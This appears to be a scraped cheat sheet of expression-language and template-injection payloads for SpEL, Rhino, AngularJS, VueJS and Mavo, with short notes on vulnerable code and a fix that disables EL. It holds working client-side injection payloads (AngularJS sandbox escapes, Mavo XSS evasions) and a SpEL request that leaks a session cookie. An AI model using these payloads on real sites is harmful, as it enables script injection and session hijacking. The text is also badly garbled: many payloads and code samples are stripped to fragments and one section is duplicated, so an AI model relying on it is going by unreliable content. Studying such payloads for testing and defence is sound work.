Link to this headingExpression Language/Template Injection
Used in JSP2.0/2.1, Jakarta, OGNL, MVEL, SPEL
Example:
Link to this headingSpring Expression Language (SpEL)
Echo Foo Parameter:
Testing:
$
$
$
..
..
Data Leakage:
$
$
http:///vulnerable.com/spring/foo?param=${cookie["JSESSIONID"].value}
Link to this headingExample Vulnerable Code
ExpressionParser parser ;
StandardEvaluationContext testContext ;
Expression exp ; // name = 'Bob'
String valueExtracted ;
Link to this headingHow to fix
Per page Fix:
<%@ page isELIgnored ="true" %>
Per App Fix:
Spring Expression Language Support
springJspExpressionSupport
false
Link to this headingScriptEngine / Rhino
Testing:
.
Link to this headingExample Vulnerable Code
Example1:
Context cx ;
[...]
cx.;
Example1:
ScriptEngineManager scriptEngineManager ;
ScriptEngine scriptEngine ;
Object result ;
Link to this headingJinja
Server-Side Template Injection
Link to this headingAngularJS
Examples:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<!-- Google Research - AngularJS -->
Link to this headingAngularJS
Examples:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<!-- Google Research - AngularJS -->
Link to this headingVueJS
Evading defences using VueJS script gadgets
Examples:
<!-- Google Research - Vue.js-->
"> aaa
V3 Examples:
V2 Examples:
Link to this headingMavo
<div mv-expressions="{{ }}"></div>
[self.alert(1)]
javascript:alert%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.lolx</div>
<a href=[javascript&':alert(1)']>test</a>